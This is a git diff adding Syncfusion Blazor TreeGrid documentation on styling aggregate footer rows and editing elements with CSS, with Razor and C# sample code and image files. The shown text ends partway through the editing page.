diff --git a/blazor/treegrid/images/style-and-appearance/expand-collapse-icon.webp b/blazor/treegrid/images/style-and-appearance/expand-collapse-icon.webp
new file mode 100644
index 0000000000..0974aefa3d
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/expand-collapse-icon.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/expand-custom-icon.webp b/blazor/treegrid/images/style-and-appearance/expand-custom-icon.webp
new file mode 100644
index 0000000000..26610eb078
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/expand-custom-icon.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-bar-cell-element.webp b/blazor/treegrid/images/style-and-appearance/filter-bar-cell-element.webp
new file mode 100644
index 0000000000..c4ff29da59
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-bar-cell-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-bar-input-clear-icon.webp b/blazor/treegrid/images/style-and-appearance/filter-bar-input-clear-icon.webp
new file mode 100644
index 0000000000..e1f0d5bb03
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-bar-input-clear-icon.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-bar-input-element-focus.webp b/blazor/treegrid/images/style-and-appearance/filter-bar-input-element-focus.webp
new file mode 100644
index 0000000000..0f83aaba65
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-bar-input-element-focus.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-bar-input-element.webp b/blazor/treegrid/images/style-and-appearance/filter-bar-input-element.webp
new file mode 100644
index 0000000000..4e5cedb2d4
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-bar-input-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-dialog-button-element.webp b/blazor/treegrid/images/style-and-appearance/filter-dialog-button-element.webp
new file mode 100644
index 0000000000..098f29f30e
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-dialog-button-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-dialog-content.webp b/blazor/treegrid/images/style-and-appearance/filter-dialog-content.webp
new file mode 100644
index 0000000000..55ee23bc59
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-dialog-content.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-dialog-footer.webp b/blazor/treegrid/images/style-and-appearance/filter-dialog-footer.webp
new file mode 100644
index 0000000000..afa3a10b66
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-dialog-footer.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/filter-dialog-input-element.webp b/blazor/treegrid/images/style-and-appearance/filter-dialog-input-element.webp
new file mode 100644
index 0000000000..8361da8a59
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/filter-dialog-input-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/grid-filtering-icon.webp b/blazor/treegrid/images/style-and-appearance/grid-filtering-icon.webp
new file mode 100644
index 0000000000..6dcba4a64a
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/grid-filtering-icon.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/grid-header-cell-div-element.webp b/blazor/treegrid/images/style-and-appearance/grid-header-cell-div-element.webp
new file mode 100644
index 0000000000..cfdb46a135
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/grid-header-cell-div-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/grid-header-cell.webp b/blazor/treegrid/images/style-and-appearance/grid-header-cell.webp
new file mode 100644
index 0000000000..769a70159a
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/grid-header-cell.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/grid-header.webp b/blazor/treegrid/images/style-and-appearance/grid-header.webp
new file mode 100644
index 0000000000..6d3093d3a0
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/grid-header.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/grid-line.webp b/blazor/treegrid/images/style-and-appearance/grid-line.webp
new file mode 100644
index 0000000000..543d1aa5a6
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/grid-line.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/grid-pager-current-page-numeric-element.webp b/blazor/treegrid/images/style-and-appearance/grid-pager-current-page-numeric-element.webp
new file mode 100644
index 0000000000..71a3834ac6
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/grid-pager-current-page-numeric-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/header-background.webp b/blazor/treegrid/images/style-and-appearance/header-background.webp
new file mode 100644
index 0000000000..cfee2368ea
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/header-background.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/pager-page-numeric-link-elements.webp b/blazor/treegrid/images/style-and-appearance/pager-page-numeric-link-elements.webp
new file mode 100644
index 0000000000..ceb4758f37
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/pager-page-numeric-link-elements.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/row-selection.webp b/blazor/treegrid/images/style-and-appearance/row-selection.webp
new file mode 100644
index 0000000000..f69d27ade6
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/row-selection.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/sort1.webp b/blazor/treegrid/images/style-and-appearance/sort1.webp
new file mode 100644
index 0000000000..e74ad7fdb9
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/sort1.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/sort2.webp b/blazor/treegrid/images/style-and-appearance/sort2.webp
new file mode 100644
index 0000000000..722ae226b9
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/sort2.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/style-font-family.webp b/blazor/treegrid/images/style-and-appearance/style-font-family.webp
new file mode 100644
index 0000000000..5bfabb668d
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/style-font-family.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/style-frozen.webp b/blazor/treegrid/images/style-and-appearance/style-frozen.webp
new file mode 100644
index 0000000000..adf53a2e9a
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/style-frozen.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/toolbar1.webp b/blazor/treegrid/images/style-and-appearance/toolbar1.webp
new file mode 100644
index 0000000000..a86085d091
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/toolbar1.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/toolbar2.webp b/blazor/treegrid/images/style-and-appearance/toolbar2.webp
new file mode 100644
index 0000000000..827e28ccc2
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/toolbar2.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/treegrid-pager-container-element.webp b/blazor/treegrid/images/style-and-appearance/treegrid-pager-container-element.webp
new file mode 100644
index 0000000000..6e30471127
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/treegrid-pager-container-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/treegrid-pager-navigation-element.webp b/blazor/treegrid/images/style-and-appearance/treegrid-pager-navigation-element.webp
new file mode 100644
index 0000000000..0193eeeea3
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/treegrid-pager-navigation-element.webp differ
diff --git a/blazor/treegrid/images/style-and-appearance/treegrid-pager-root-element.webp b/blazor/treegrid/images/style-and-appearance/treegrid-pager-root-element.webp
new file mode 100644
index 0000000000..0f82941344
Binary files /dev/null and b/blazor/treegrid/images/style-and-appearance/treegrid-pager-root-element.webp differ
diff --git a/blazor/treegrid/style-and-appearance/aggregate.md b/blazor/treegrid/style-and-appearance/aggregate.md
new file mode 100644
index 0000000000..5641f99840
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/aggregate.md
@@ -0,0 +1,219 @@
+---
+layout: post
+title: Customize aggregates in Blazor TreeGrid | Syncfusion
+description: Learn how to customize aggregate rows in the Syncfusion Blazor TreeGrid using CSS, including footer containers and summary cells.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Aggregate customization in Syncfusion Blazor TreeGrid
+
+Aggregates are displayed as summary rows in the TreeGrid footer, providing a consolidated view of totals, averages, or counts. These rows can be styled using CSS to match the layout and design of the TreeGrid. Styling options are available for:
+
+- **Aggregate root container:** The outer wrapper of the footer row.
+- **Aggregate summary row and cells:** The row that shows summary values, and the cells that display each result.
+
+## Customize the aggregate root element
+The **.e-gridfooter** class styles the root container of the aggregate footer row. Use CSS to adjust its appearance:
+
+```css
+.e-treegrid .e-gridfooter {
+    font-family: cursive;
+}
+```
+
+Properties like **font-family**, **font-size**, and **padding** can be changed to fit the TreeGrid layout design.
+
+![Aggregate footer root with custom font](../images/style-and-appearance/aggregate-root-element.webp)
+
+## Customize the aggregate cell elements
+
+The **.e-summaryrow** and **.e-summarycell** classes define the appearance of the summary row and its individual cells in the Blazor TreeGrid. Apply CSS to modify their look:
+
+```css
+.e-treegrid .e-summaryrow .e-summarycell {
+    background-color: #deecf9;
+}
+```
+
+Properties such as **background-color**, **color**, and **text-align** can be adjusted to improve clarity and interaction.
+
+![Aggregate summary cell with custom background color](../images/style-and-appearance/aggregate-cell-element.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+@using Syncfusion.Blazor.Grids
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="ID" ParentIdMapping="ParentID" Height="362" TreeColumnIndex="1" AllowPaging="true">
+    <TreeGridPageSettings PageSizes="@PageSizes" PageCount="5" PageSize="2" PageSizeMode="PageSizeMode.Root"></TreeGridPageSettings>
+    <TreeGridEditSettings AllowEditing="true"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field="ShipID" HeaderText="Ship ID" Width="80" Visible="false" IsPrimaryKey="true" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="Name" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Orders" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="ShipmentCategory" HeaderText="Category" Width="100"></TreeGridColumn>
+        <TreeGridColumn Field="Units" HeaderText="Units" Width="80" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="UnitPrice" ClipMode="ClipMode.EllipsisWithTooltip" HeaderText="Unit Price" Format="c2" Width="90" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="OrderDate" HeaderText="Ordered Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+        <TreeGridColumn Field="ShippedDate" HeaderText="Shipped Date" ClipMode="ClipMode.EllipsisWithTooltip" Format="d" Type="ColumnType.Date" Width="120" TextAlign="TextAlign.Right"></TreeGridColumn>
+
+    </TreeGridColumns>
+    <TreeGridAggregates>
+        <TreeGridAggregate ShowChildSummary="false">
+            <TreeGridAggregateColumns>
+                <TreeGridAggregateColumn Field="UnitPrice" Type="Syncfusion.Blazor.Grids.AggregateType.Sum" Format="C2">
+                    <FooterTemplate>
+                        @{
+                            var sumvalue = (context as Syncfusion.Blazor.Grids.AggregateTemplateContext);
+                            <div  class="aggregate-chip">
+                                Sum: @sumvalue.Sum
+                            </div>
+                        }
+                    </FooterTemplate>
+                </TreeGridAggregateColumn>
+            </TreeGridAggregateColumns>
+        </TreeGridAggregate>
+        <TreeGridAggregate ShowChildSummary="false">
+            <TreeGridAggregateColumns>
+                <TreeGridAggregateColumn Field="UnitPrice" Type="Syncfusion.Blazor.Grids.AggregateType.Max" Format="C2">
+                    <FooterTemplate>
+                        @{
+                            var sumvalue = (context as Syncfusion.Blazor.Grids.AggregateTemplateContext);
+                            <div  class="aggregate-chip">
+                                Max: @sumvalue.Max
+                            </div>
+                        }
+                    </FooterTemplate>
+                </TreeGridAggregateColumn>
+            </TreeGridAggregateColumns>
+        </TreeGridAggregate>
+    </TreeGridAggregates>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid .e-gridfooter { font-family: cursive; background-color: #f5f8fc; }
+    .e-treegrid .e-summaryrow .e-summarycell { background-color: #deecf9; }
+    .aggregate-chip { padding: 4px 8px; border-radius: 6px; background-color: #fff; border: 1px solid #bcd3ea; display: inline-block; min-width: 120px; text-align: center; color: #0b3f73; font-weight: 600; }
+    .e-treegrid .e-summarycell:focus-visible { outline: 2px solid #005a9e; outline-offset: -2px; }
+</style>
+
+@code {
+    private List<ShipmentData> TreeGridData { get; set; } = new List<ShipmentData>();
+    private List<string> PageSizes { get; set; } = new List<string>();
+    protected override void OnInitialized()
+    {
+        TreeGridData = ShipmentData.GetData();
+        PageSizes = new List<string>() { "2", "4", "5", "10", "15", "20", "All" };
+    }
+}
+
+{% endhighlight %}
+
+{% highlight c# tabtitle="ShipmentData.cs" %}
+
+public class ShipmentData
+{
+    public int? ID { get; set; }
+    public int? ShipID { get; set; }
+    public string? Name { get; set; }
+    public int? Units { get; set; }
+    public string? Category { get; set; }
+    public int? UnitPrice { get; set; }
+    public int? Price { get; set; }
+    public int? TotalPrice { get; set; } // Added for total price calculation (sum for parents, individual for items)
+    public string? ShipmentCategory { get; set; }
+    public DateTime? ShippedDate { get; set; } = null;
+    public DateTime? OrderDate { get; set; } = null;
+    public string? OrderReached { get; set; } = null;
+    public int? ParentID { get; set; }
+    private static void CalculateTotalPrices(List<ShipmentData> data)
+    {
+        // For items (non-parents), TotalPrice = Price
+        // For parents, TotalPrice = sum of children's TotalPrice
+        var parents = data.Where(d => d.ParentID == null).ToList();
+        foreach (var parent in parents)
+        {
+            var children = data.Where(d => d.ParentID == parent.ID).ToList();
+            parent.TotalPrice = children.Sum(c => c.Price ?? 0);
+            // Recursively set for children if nested, but here it's flat tree
+        }
+        // Set for items
+        foreach (var item in data.Where(d => d.ParentID != null))
+        {
+            item.TotalPrice = item.Price;
+        }
+    }
+    public static List<ShipmentData> GetData()
+    {
+        var data = new List<ShipmentData>(capacity: 150);
+        var rnd = new Random(42); // deterministic
+        var baseOrderDate = new DateTime(2025, 1, 1);
+        // pools for categories/items - standardized to Title Case
+        var categories = new[]
+        {
+            ("Seafood", new[] { "Mackerel", "Herrings", "Tilapias", "White Shrimp", "Yellowfin Tuna" }),
+            ("Dairy", new[] { "Fresh Cheese", "Blue Veined Cheese", "Butter", "Milk", "Yogurt" }),
+            ("Edible", new[] { "Preserved Olives", "Sweet corn", "Pickles", "Tomato Puree", "Olive Oil" }),
+            ("Crystals", new[] { "Lead glassware", "Pharmaceutical glass", "Glass beads", "Crystal vials", "Borosilicate glass" }),
+            ("Fresh Vegetables", new[] { "Broccoli", "Spinach", "Carrots", "Lettuce", "Cabbage" }),
+            ("Leafy Greens", new[] { "Kale", "Arugula", "Chard", "Collards", "Mustard Greens" }),
+            ("Root Vegetables", new[] { "Beets", "Radish", "Parsnip", "Turnip", "Rutabaga" }),
+            ("Paper", new[] { "Printer Paper", "Photo Paper", "Sticky Notes", "Card Stock", "Plotter Rolls" }),
+            ("Consumables", new[] { "Ink Cartridges", "Toner", "Markers", "Glue Sticks", "Tape Rolls" }),
+            ("Tools", new[] { "Staplers", "Hole Punch", "Cutters", "Rulers", "Scissors" }),
+            ("Stationery", new[] { "Notebooks", "Pens", "Pencils", "Folders", "Envelopes" })
+        };
+        int id = 0;
+        int shipSeed = 4500;
+        for (int p = 1; p <= 40; p++)
+        {
+            int parentId = id++;
+            data.Add(new ShipmentData
+            {
+                ID = parentId,
+                Name = $"Order {p}",
+                ParentID = null
+            });
+            for (int c = 0; c < 4; c++)
+            {
+                // pick a category and item name
+                var (cat, items) = categories[(p + c) % categories.Length];
+                var itemName = items[(p * 3 + c) % items.Length];
+                // numbers
+                int units = 20 + rnd.Next(11); // 20..30
+                int unitPrice = 5 + rnd.Next(20); // 5..24
+                int price = units * unitPrice;
+                // dates
+                var orderDate = baseOrderDate.AddDays(p * 7 + c * 3);
+                var shipLag = 3 + rnd.Next(10); // 3..12 days
+                var shippedDate = orderDate.AddDays(shipLag);
+                // reached?
+                var reached = shippedDate >= orderDate.AddDays(7) && rnd.Next(100) > 30 ? "Yes" : "No";
+                data.Add(new ShipmentData
+                {
+                    ID = id,
+                    ShipID = shipSeed + id,
+                    Name = itemName,
+                    Category = cat,
+                    Units = units,
+                    UnitPrice = unitPrice,
+                    Price = price,
+                    OrderDate = orderDate,
+                    ShippedDate = shippedDate,
+                    ShipmentCategory = cat,
+                    OrderReached = reached,
+                    ParentID = parentId
+                });
+                id++;
+            }
+        }
+        CalculateTotalPrices(data);
+        return data;
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDrxtJrVJUhwQJZe?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
\ No newline at end of file
diff --git a/blazor/treegrid/style-and-appearance/editing.md b/blazor/treegrid/style-and-appearance/editing.md
new file mode 100644
index 0000000000..977d7dbfb8
--- /dev/null
+++ b/blazor/treegrid/style-and-appearance/editing.md
@@ -0,0 +1,299 @@
+---
+layout: post
+title: Customize editing in Blazor TreeGrid | Syncfusion
+description: Learn how to style and customize edited and added rows, input fields, the edit dialog header, and command buttons in the Syncfusion Blazor TreeGrid using CSS.
+platform: Blazor
+control: TreeGrid
+documentation: ug
+---
+
+# Editing customization in Syncfusion Blazor TreeGrid
+
+The appearance of editing elements in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid can be customized using CSS. Styling options are available for different parts of the editing interface:
+
+- **Edited and newly added rows:** Highlights rows that are being modified or newly inserted.
+- **Edit form input fields:** Displays text boxes used to enter or update values during editing.
+- **Edit dialog header:** Shows the title or context of the current editing operation.
+- **Command column buttons:** Displays action buttons such as Edit, Delete, Update, and Cancel.
+
+## Customize edited and added row elements
+
+The **.e-editedrow** and **.e-addedrow** classes style edited and newly added rows. Apply CSS to make these rows stand out:
+
+```css
+.e-treegrid .e-editedrow table, .e-treegrid .e-addedrow table {
+	    background-color: #62b2eb;
+}
+```
+
+Adjust properties such as **background-color** or **border** styles to highlight rows that are in edit mode.
+
+![Edited and added rows](../images/style-and-appearance/edited-added-row-element.webp) 
+
+## Customize edited row input elements
+
+The **.e-treegridform** and **.e-input** classes style inputs inside the inline edit form in the Blazor TreeGrid. Use CSS to adjust their appearance:
+
+```css
+
+.e-treegrid .e-rowcell .e-input-group .e-input {
+    font-family: cursive;
+    color:rgb(214, 33, 123)
+}
+
+```
+
+Modify properties such as **font-family**, **color**, or **padding** to improve readability.
+
+![Edited row inputs with custom font and text color](../images/style-and-appearance/edited-row-input-element.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" Toolbar="@(new List<string>() { "Add", "Edit", "Delete", "Update", "Cancel" })">
+    <TreeGridEditSettings AllowAdding="true" AllowEditing="true" AllowDeleting="true"  Mode="Syncfusion.Blazor.TreeGrid.EditMode.Row"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskId) HeaderText="Task ID" IsPrimaryKey="true" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="140"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskName) HeaderText="Task Name" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Duration) HeaderText="Duration" Width="110"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Priority) HeaderText="Priority" Width="150"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-treegrid .e-editedrow table,
+    .e-treegrid .e-addedrow table { background-color: #62b2eb; }
+    .e-treegrid .e-rowcell .e-input-group .e-input { font-family: cursive; color: rgb(214,33,123); }
+    .e-treegrid .e-rowcell:focus-visible { outline: 2px solid #005a9e; outline-offset: -2px; }
+</style>
+
+@code {
+    private List<TreeData.BusinessObject> TreeGridData { get; set; }
+    protected override void OnInitialized()
+    {
+        TreeGridData = TreeData.GetSelfDataSource().ToList();
+    }
+}
+{% endhighlight %}
+{% highlight c# tabtitle="TreeData.cs" %}
+
+namespace TreeGridComponent.Data
+{
+    public class TreeData
+    {
+        public class BusinessObject
+        {
+            public int TaskId { get; set; }
+            public string TaskName { get; set; }
+            public int? Duration { get; set; }
+            public int? Progress { get; set; }
+            public string Priority { get; set; }
+            public int? ParentId { get; set; }
+        }
+
+        internal static List<BusinessObject> GetSelfDataSource()
+        {
+            List<BusinessObject> BusinessObjectCollection = new List<BusinessObject>();
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 8, Progress = 80, Priority = "Low", ParentId = 1 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Critical", ParentId = 2 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 4, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 3 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 5, TaskName = "Parent Task 2", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 6, TaskName = "Child task 1", Duration = 4, Progress = 80, Priority = "Critical", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 7, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Low", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 8, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 9, TaskName = "Child task 4", Duration = 6, Progress = 77, Priority = "Low", ParentId = 5 });
+            return BusinessObjectCollection;
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDrxDphpWvpEiDsX?appbar=false&editor=false&result=true&errorlist=false&theme=fluent2" %}
+
+## Customize the edit dialog header
+
+The **.e-edit-dialog** and **.e-dlg-header-content** classes style the dialog header when dialog editing is enabled. Apply CSS to differentiate the header:
+
+```css
+
+.e-edit-dialog .e-dlg-header-content {
+    background-color: #deecf9;
+}
+
+```
+
+Change properties such as **background-color** to visually separate the header from the rest of the dialog content.
+
+![Edit dialog header with custom background color](../images/style-and-appearance/edit-dialog-header-element.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" Toolbar="@(new List<string>() { "Add", "Edit", "Delete", "Update", "Cancel" })">
+    <TreeGridEditSettings AllowAdding="true" AllowEditing="true" AllowDeleting="true" Mode="EditMode.Dialog"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskId) HeaderText="Task ID" IsPrimaryKey="true" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="140"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskName) HeaderText="Task Name" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Duration) HeaderText="Duration" Width="110"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Priority) HeaderText="Priority" Width="150"></TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+
+<style>
+    .e-edit-dialog .e-dlg-header-content { background-color: #deecf9; color: #0b345d; }
+    .e-edit-dialog .e-dlg-header-content .e-btn.e-dlg-closeicon-btn:focus-visible { outline: 2px solid #005a9e; outline-offset: 2px; }
+</style>
+
+@code {
+    private List<TreeData.BusinessObject> TreeGridData { get; set; }
+
+    protected override void OnInitialized()
+    {
+        TreeGridData = TreeData.GetSelfDataSource().ToList();
+    }
+}
+{% endhighlight %}
+{% highlight c# tabtitle="TreeData.cs" %}
+
+namespace TreeGridComponent.Data
+{
+    public class TreeData
+    {
+        public class BusinessObject
+        {
+            public int TaskId { get; set; }
+            public string TaskName { get; set; }
+            public int? Duration { get; set; }
+            public int? Progress { get; set; }
+            public string Priority { get; set; }
+            public int? ParentId { get; set; }
+        }
+
+        internal static List<BusinessObject> GetSelfDataSource()
+        {
+            List<BusinessObject> BusinessObjectCollection = new List<BusinessObject>();
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 8, Progress = 80, Priority = "Low", ParentId = 1 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Critical", ParentId = 2 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 4, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 3 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 5, TaskName = "Parent Task 2", Duration = 10, Progress = 70, Priority = "Critical", ParentId = null });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 6, TaskName = "Child task 1", Duration = 4, Progress = 80, Priority = "Critical", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 7, TaskName = "Child Task 2", Duration = 5, Progress = 65, Priority = "Low", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 8, TaskName = "Child task 3", Duration = 6, Progress = 77, Priority = "High", ParentId = 5 });
+            BusinessObjectCollection.Add(new BusinessObject() { TaskId = 9, TaskName = "Child task 4", Duration = 6, Progress = 77, Priority = "Low", ParentId = 5 });
+            return BusinessObjectCollection;
+        }
+    }
+}
+
+{% endhighlight %}
+{% endtabs %}
+
+## Customize command column buttons
+
+The **.e-edit**, **.e-delete**, **.e-update**, and **.e-cancel-icon** classes style the command column buttons in the Blazor TreeGrid. Use CSS to adjust their appearance:
+
+```css
+
+.e-treegrid .e-unboundcelldiv .e-delete::before,
+.e-treegrid .e-unboundcelldiv .e-cancel-icon::before {
+    color: #f51717;
+}
+
+.e-treegrid .e-unboundcelldiv .e-edit::before,
+.e-treegrid .e-unboundcelldiv .e-update::before {
+    color: #077005;
+}
+
+```
+
+Style properties like **color**, **font-size**, and **font-weight** can be adjusted to differentiate action icons and enhance visibility during interaction.
+
+![Command buttons with custom delete and cancel icon colors](../images/style-and-appearance/commandbutton-1.webp)
+![Command buttons with custom edit and save icon colors](../images/style-and-appearance/commandbutton-2.webp)
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.TreeGrid
+
+<SfTreeGrid DataSource="@TreeGridData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1" Toolbar="@(new List<string>() { "Add", "Edit", "Delete", "Update", "Cancel" })">
+    <TreeGridEditSettings AllowAdding="true" AllowEditing="true" AllowDeleting="true"  Mode="Syncfusion.Blazor.TreeGrid.EditMode.Row"></TreeGridEditSettings>
+    <TreeGridColumns>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskId) HeaderText="Task ID" IsPrimaryKey="true" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="140"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.TaskName) HeaderText="Task Name" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Duration) HeaderText="Duration" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="120"></TreeGridColumn>
+        <TreeGridColumn Field=@nameof(TreeData.BusinessObject.Priority) HeaderText="Priority" Width="130"></TreeGridColumn>
+        <TreeGridColumn HeaderText="Manage Records" Width="160">
+            <TreeGridCommandColumns>
+                <TreeGridCommandColumn Type="CommandButtonType.Edit" ButtonOption="@(new CommandButtonOptions { IconCss = "e-icons e-edit", CssClass = "e-flat" })"></TreeGridCommandColumn>
+                <TreeGridCommandColumn Type="CommandButtonType.Delete" ButtonOption="@(new CommandButtonOptions { IconCss = "e-icons e-delete", CssClass = "e-flat" })"></TreeGridCommandColumn>
+                <TreeGridCommandColumn Type="CommandButtonType.Save" ButtonOption="@(new CommandButtonOptions { IconCss = "e-icons e-update", CssClass = "e-flat" })"></TreeGridCommandColumn>
+                <TreeGridCommandColumn Type="CommandButtonType.Cancel" ButtonOption="@(new CommandButtonOptions { IconCss = "e-icons e-cancel-icon", CssClass = "e-flat" })"></TreeGridCommandColumn>
+            </TreeGridCommandColumns>
+        </TreeGridColumn>
+    </TreeGridColumns>
+</SfTreeGrid>
+<style>
+    .e-treegrid .e-unboundcelldiv .e-delete::before,
+    .e-treegrid .e-unboundcelldiv .e-cancel-icon::before {
+        color: #f51717;
+    }
+
+    .e-treegrid .e-unboundcelldiv .e-edit::before,
+    .e-treegrid .e-unboundcelldiv .e-update::before {
+        color: #077005;
+    }
+</style>
+@code {
+    private List<TreeData.BusinessObject> TreeGridData { get; set; }
+    protected override void OnInitialized()
+    {
+        TreeGridData = TreeData.GetSelfDataSource().ToList();
+    }
+}
+{% endhighlight %}
